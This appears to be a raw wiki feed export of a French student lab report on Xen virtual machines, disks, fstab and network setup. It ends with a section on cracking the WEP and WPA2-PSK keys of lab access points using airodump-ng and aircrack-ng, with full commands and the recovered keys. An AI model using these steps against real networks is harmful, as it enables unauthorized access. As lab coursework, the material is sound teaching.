* &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt; = “disque A virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; = “disque B virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; = “partition 3 du disque A” (façon de parler : c’est l’identifiant donné à Xen)&lt;br /&gt;
&lt;br /&gt;
'''Ce qui compte vraiment'''&lt;br /&gt;
&lt;br /&gt;
✅ Que chaque “source” (file/phy) ait un '''identifiant unique''' côté VM.&lt;br /&gt;
&lt;br /&gt;
Le choix &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; n’a rien de magique : c’est juste une convention.&lt;br /&gt;
&lt;br /&gt;
'''Petit conseil pratique (propre et simple)'''&lt;br /&gt;
&lt;br /&gt;
* garde tout sur &amp;lt;code&amp;gt;xvda1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda2&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda4&amp;lt;/code&amp;gt;… (ça évite de te perdre)&lt;br /&gt;
* ou alors fais :&lt;br /&gt;
** &amp;lt;code&amp;gt;xvda...&amp;lt;/code&amp;gt; pour OS + swap&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; pour home&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdc&amp;lt;/code&amp;gt; pour var  (plus lisible quand tu en as beaucoup)&lt;br /&gt;
&lt;br /&gt;
Les deux se font. L’important, c’est d’être '''cohérent'''.&lt;br /&gt;
&lt;br /&gt;
==== 7) Le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; à la fin : super important ====&lt;br /&gt;
À la fin de chaque ligne de disque, tu as :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; = '''write''' (lecture + écriture)&lt;br /&gt;
* &amp;lt;code&amp;gt;r&amp;lt;/code&amp;gt; = read-only (lecture seule)&lt;br /&gt;
&lt;br /&gt;
Donc si tu oublies le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; sur un volume &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, tu vas vite te retrouver avec :&lt;br /&gt;
&lt;br /&gt;
* des erreurs d’écriture&lt;br /&gt;
* ou un système qui refuse de monter le FS correctement  Pour des volumes de données, c’est '''toujours &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Montage des partitions et fichier &amp;quot;fstab&amp;quot;&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Très important : ça se fait dans la VM, pas sur capbreton ====&lt;br /&gt;
Les commandes &amp;lt;code&amp;gt;mkfs&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt; sont à exécuter '''dans la VM''' (le DomU).&lt;br /&gt;
&lt;br /&gt;
* Sur '''capbreton (Dom0 / hôte Xen)''', '''ne touche jamais à &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : c’est le cœur des services (logs, state, packages, etc.). Si tu déplaces &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; sur le host, tu peux casser l’infra du TP (et potentiellement les autres VMs / services).&lt;br /&gt;
* Sur capbreton, ton job c’est '''créer les volumes LVM''' et les '''attacher''' à la VM dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;. Point.&lt;br /&gt;
&lt;br /&gt;
==== Rappel : c’est quoi &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; = “variable data”, donc tout ce qui '''change souvent''' et peut '''grossir vite'''.&lt;br /&gt;
&lt;br /&gt;
Typiquement :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; : logs (ça peut exploser si un service spam)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/lib&amp;lt;/code&amp;gt; : données applicatives (ex: bases de données, états de services)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/cache&amp;lt;/code&amp;gt; : caches (apt, etc.)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; : fichiers temporaires “longue durée”&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/spool&amp;lt;/code&amp;gt; : files d’attente (mail, cron, impressions…)&lt;br /&gt;
&lt;br /&gt;
Pourquoi on le met sur un volume dédié : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; se remplit, tu évites de remplir &amp;lt;code&amp;gt;/&amp;lt;/code&amp;gt; et de rendre la VM inutilisable.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Explication rapide des commandes ===&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mkfs -t ext4 /dev/xvdb1&amp;lt;/code&amp;gt;''' : ''formatage'' → crée un système de fichiers ext4 sur le disque.  ⚠️ Ça '''efface''' ce qu’il y avait dessus.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount &amp;lt;device&amp;gt; &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “branche” le système de fichiers sur un dossier.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;umount &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “débranche”.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount -a&amp;lt;/code&amp;gt;''' : monte tout ce qui est dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt;''' : déplace. Sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, c’est risqué parce que des fichiers peuvent être utilisés en live.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;'''DÉMARRAGE AUTOMATIQUE DU MONTAGE'''&amp;lt;/u&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Fichier fstab.png|alt=Fichier fstab|centré|cadre|Fichier fstab]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== CONFIGURATION RÉSEAU DE NOS VM ==&lt;br /&gt;
&lt;br /&gt;
=== Rappel du schéma et du rôle des machines ===&lt;br /&gt;
Dans l’infra, on a deux “mondes” réseau en parallèle :&lt;br /&gt;
&lt;br /&gt;
* '''Un réseau IPv4 privé''' (non routable sur Internet) : utilisé pour l’interconnexion interne et la sortie Internet via NAT.&lt;br /&gt;
* '''Un réseau IPv6 public''' : utilisé pour rendre les VM accessibles directement depuis l’extérieur (et accéder à Internet en IPv6 sans NAT).&lt;br /&gt;
&lt;br /&gt;
==== VM de service (serveurs) ====&lt;br /&gt;
* IPv4 '''privé''' : pour sortir sur Internet via le mandataire (NAT/Masquerade).&lt;br /&gt;
* IPv6 '''public''' : pour être joignable directement (pas de NAT).&lt;br /&gt;
&lt;br /&gt;
==== VM mandataire (gateway) ====&lt;br /&gt;
* Reliée au '''réseau privé IPv4''' : côté interne&lt;br /&gt;
* Reliée au '''réseau public''' : côté infra école + Internet.&lt;br /&gt;
* Fait l’interconnexion (routage + NAT + redirections de ports si besoin).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM de service ===&lt;br /&gt;
&lt;br /&gt;
==== Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (service) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.3.2/27 #192.168.3.3 pour notre deuxième service nommée Valmont&lt;br /&gt;
        gateway 192.168.3.1 #adresse IPv4 de notre mandataire&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto #attention de ne pas mettre en dhcp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Explication simple ====&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt; (IPv4 privé)'''&lt;br /&gt;
** IP privée &amp;lt;code&amp;gt;192.168.3.2/27&amp;lt;/code&amp;gt;&lt;br /&gt;
** passerelle &amp;lt;code&amp;gt;192.168.3.1&amp;lt;/code&amp;gt; = l’IP du mandataire sur le réseau privé  → Tout trafic IPv4 “vers Internet” part au mandataire.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; (IPv6)'''&lt;br /&gt;
** &amp;lt;code&amp;gt;inet6 auto&amp;lt;/code&amp;gt; = la VM récupère automatiquement une IPv6 (SLAAC/RA) + souvent une route par défaut IPv6  → La VM est accessible directement en IPv6, sans passer par du NAT.&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM mandataire ===&lt;br /&gt;
Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (mandataire)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.3.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.165/27&lt;br /&gt;
        gateway 193.48.57.162&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* eth0 (IPv4 privé) : 192.168.3.1 = gateway des services (réseau interne)&lt;br /&gt;
&lt;br /&gt;
* eth1 (public) :&lt;br /&gt;
** IPv4 public 193.48.57.165/27&lt;br /&gt;
** gateway public 193.48.57.162 (VRRP)&lt;br /&gt;
* IPv6 en auto (pour avoir IPv6 public côté mandataire aussi)&lt;br /&gt;
&lt;br /&gt;
=== Du &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; Xen → aux interfaces &amp;lt;code&amp;gt;ethX&amp;lt;/code&amp;gt; dans la VM ===&lt;br /&gt;
&lt;br /&gt;
==== Côté Xen (Dom0) : tu déclares des VIF ====&lt;br /&gt;
Dans le fichier de config Xen de ta VM, tu as un truc du style :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Interprétation :'''&lt;br /&gt;
&lt;br /&gt;
* Tu crées '''2 cartes réseau virtuelles''' (2 VIF) pour la VM.&lt;br /&gt;
* Chaque VIF :&lt;br /&gt;
** a une '''MAC''' (pour l’identifier)&lt;br /&gt;
** est branchée sur un '''bridge''' Xen/Linux (un switch virtuel)&lt;br /&gt;
&lt;br /&gt;
Donc en mode “câblage” :&lt;br /&gt;
&lt;br /&gt;
* VIF #1 = un câble branché sur le switch virtuel &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
* VIF #2 = un câble branché sur le switch virtuel &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (ou &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
==== Dans la VM (DomU) : ces VIF apparaissent comme &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, … ====&lt;br /&gt;
Quand la VM boot :&lt;br /&gt;
&lt;br /&gt;
* Xen “présente” ces VIF à l’OS invité&lt;br /&gt;
* l’OS les voit comme des interfaces réseau classiques&lt;br /&gt;
&lt;br /&gt;
Typiquement :&lt;br /&gt;
&lt;br /&gt;
* '''la 1ère VIF''' devient &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''la 2ème VIF''' devient &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
⚠️ Petit point important : le nom exact peut dépendre de l’OS (Debian peut utiliser &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; ou des noms type &amp;lt;code&amp;gt;ens3&amp;lt;/code&amp;gt;), mais '''dans ton TP tu es bien sur &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;''', donc on garde ça.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
ip addr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Tu verras &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; et leurs MAC. Tu peux matcher avec celles du &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== Le bridge Xen = “le switch” auquel la carte est connectée ====&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=pont_Gercourt&amp;lt;/code&amp;gt; : réseau '''privé IPv4''' entre tes VMs (commutateur virtuel interne)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=SE4&amp;lt;/code&amp;gt; (ou &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;) : réseau '''public / infra école / Internet'''&lt;br /&gt;
&lt;br /&gt;
Donc, si ta VM a :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt; reliée à &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt; → elle est sur le réseau privé&lt;br /&gt;
* &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; reliée à &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; → elle est sur le réseau public&lt;br /&gt;
&lt;br /&gt;
C’est exactement pour ça que dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; tu mets :&lt;br /&gt;
&lt;br /&gt;
* IPv4 privé sur &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;&lt;br /&gt;
* IPv6 (direct) sur &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Pourquoi les services sortent en IPv4 via “Masquerade” (NAT) ===&lt;br /&gt;
&lt;br /&gt;
==== Le problème IPv4 ====&lt;br /&gt;
IPv4 = adresses sur 32 bits → ~4,3 milliards d’adresses max, et une grosse partie est réservée.&lt;br /&gt;
&lt;br /&gt;
Résultat : on ne peut pas donner une IPv4 publique à chaque machine du monde.&lt;br /&gt;
&lt;br /&gt;
==== La solution historique : NAT / Masquerade ====&lt;br /&gt;
On met les machines en '''IP privées''' (ex : &amp;lt;code&amp;gt;192.168.x.x&amp;lt;/code&amp;gt;), et une machine (le mandataire) “traduit” :&lt;br /&gt;
&lt;br /&gt;
* en interne : &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; (service)&lt;br /&gt;
* en externe : &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt; (mandataire)&lt;br /&gt;
&lt;br /&gt;
Donc vu d’Internet, '''tout sort avec l’IP publique du mandataire'''.&lt;br /&gt;
&lt;br /&gt;
C’est exactement ce que fait &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; dans iptables : une forme de NAT automatique adaptée quand l’IP externe peut changer.&lt;br /&gt;
&lt;br /&gt;
=== Pourquoi en IPv6 on fait de l’accès direct (pas de NAT) ===&lt;br /&gt;
IPv6 = 128 bits → un nombre d’adresses gigantesque (bien au-delà du “trillions” d'adresses).&lt;br /&gt;
&lt;br /&gt;
Du coup, on peut attribuer à chaque VM une IPv6 unique, routable.&lt;br /&gt;
&lt;br /&gt;
Conséquence :&lt;br /&gt;
&lt;br /&gt;
* pas besoin de NAT&lt;br /&gt;
* la VM est joignable directement (avec firewall bien sûr)&lt;br /&gt;
&lt;br /&gt;
Dans ton schéma, c’est l’arc “Accès direct IPv6” : les services sont accessibles depuis l’infra publique en IPv6 sans passer par la traduction du mandataire.&lt;br /&gt;
&lt;br /&gt;
=== VRRP : c’est quoi cette gateway &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt; ? ===&lt;br /&gt;
&amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt; = '''IP virtuelle VRRP''' portée par '''deux routeurs''' (redondance).&lt;br /&gt;
&lt;br /&gt;
* routeur A : &amp;lt;code&amp;gt;...163&amp;lt;/code&amp;gt;&lt;br /&gt;
* routeur B : &amp;lt;code&amp;gt;...164&amp;lt;/code&amp;gt;&lt;br /&gt;
* IP VRRP : &amp;lt;code&amp;gt;...162&amp;lt;/code&amp;gt; (celle que tu mets en gateway)&lt;br /&gt;
&lt;br /&gt;
Avantage :&lt;br /&gt;
&lt;br /&gt;
* si un routeur tombe, l’autre reprend l’IP VRRP&lt;br /&gt;
* tes machines ne changent pas leur config, ça continue de router&lt;br /&gt;
&lt;br /&gt;
Si tu mets directement &amp;lt;code&amp;gt;.163&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;.164&amp;lt;/code&amp;gt; en gateway :&lt;br /&gt;
&lt;br /&gt;
* tu forces l’utilisation d’un routeur précis&lt;br /&gt;
* tu perds la redondance (si celui-là tombe, plus de sortie)&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12377</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12377"/>
		<updated>2026-02-24T14:19:41Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Pourquoi en IPv6 on fait de l’accès direct (pas de NAT) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Un '''hyperviseur''', c’est le logiciel qui permet de faire tourner '''plusieurs “ordinateurs virtuels” (VM)''' sur '''un seul ordinateur physique'''.&lt;br /&gt;
&lt;br /&gt;
Au lieu d’avoir '''1 machine = 1 OS''', tu as '''1 machine physique = plusieurs OS''' (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM. &lt;br /&gt;
&lt;br /&gt;
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :&lt;br /&gt;
&lt;br /&gt;
* '''CPU''' : qui a le droit d’exécuter quand (ordonnancement)&lt;br /&gt;
* '''RAM''' : qui a droit à quelle mémoire (isolation, allocation)&lt;br /&gt;
* '''Disques''' : chaque VM a “son disque” (souvent un fichier &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;, LVM, etc.)&lt;br /&gt;
* '''Réseau''' : chaque VM a une carte réseau virtuelle, connectée à un '''switch/bridge virtuel'''&lt;br /&gt;
* '''Isolation/Sécurité''' : une VM ne doit pas pouvoir casser les autres.&lt;br /&gt;
&lt;br /&gt;
'''Xen''', c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.&lt;br /&gt;
&lt;br /&gt;
Dans Xen, toutes les VM sont des ''domains''.&lt;br /&gt;
&lt;br /&gt;
* '''Dom0 (Domain 0)''' : la VM “chef” (privilégiée)&lt;br /&gt;
** c’est elle qui a les '''drivers matériels'''&lt;br /&gt;
** c’est elle qui '''crée / détruit / configure''' les autres VM&lt;br /&gt;
** elle gère souvent le '''réseau (bridges/VLAN)''' et le '''stockage'''&lt;br /&gt;
* '''DomU''' : les VM “normales” (invitées)&lt;br /&gt;
** elles ont des '''périphériques virtuels'''&lt;br /&gt;
** elles passent souvent par Dom0 pour accéder au hardware&lt;br /&gt;
&lt;br /&gt;
Petit schéma mental :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
         Matériel (CPU/RAM/NIC/Disques)&lt;br /&gt;
                    │&lt;br /&gt;
                   Xen&lt;br /&gt;
                    │&lt;br /&gt;
        ┌───────────┴───────────┐&lt;br /&gt;
        │                       │&lt;br /&gt;
      Dom0                 Dom1, Dom2, Dom3...&lt;br /&gt;
 (admin + drivers)      (VM Linux / OpenWRT / etc.)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
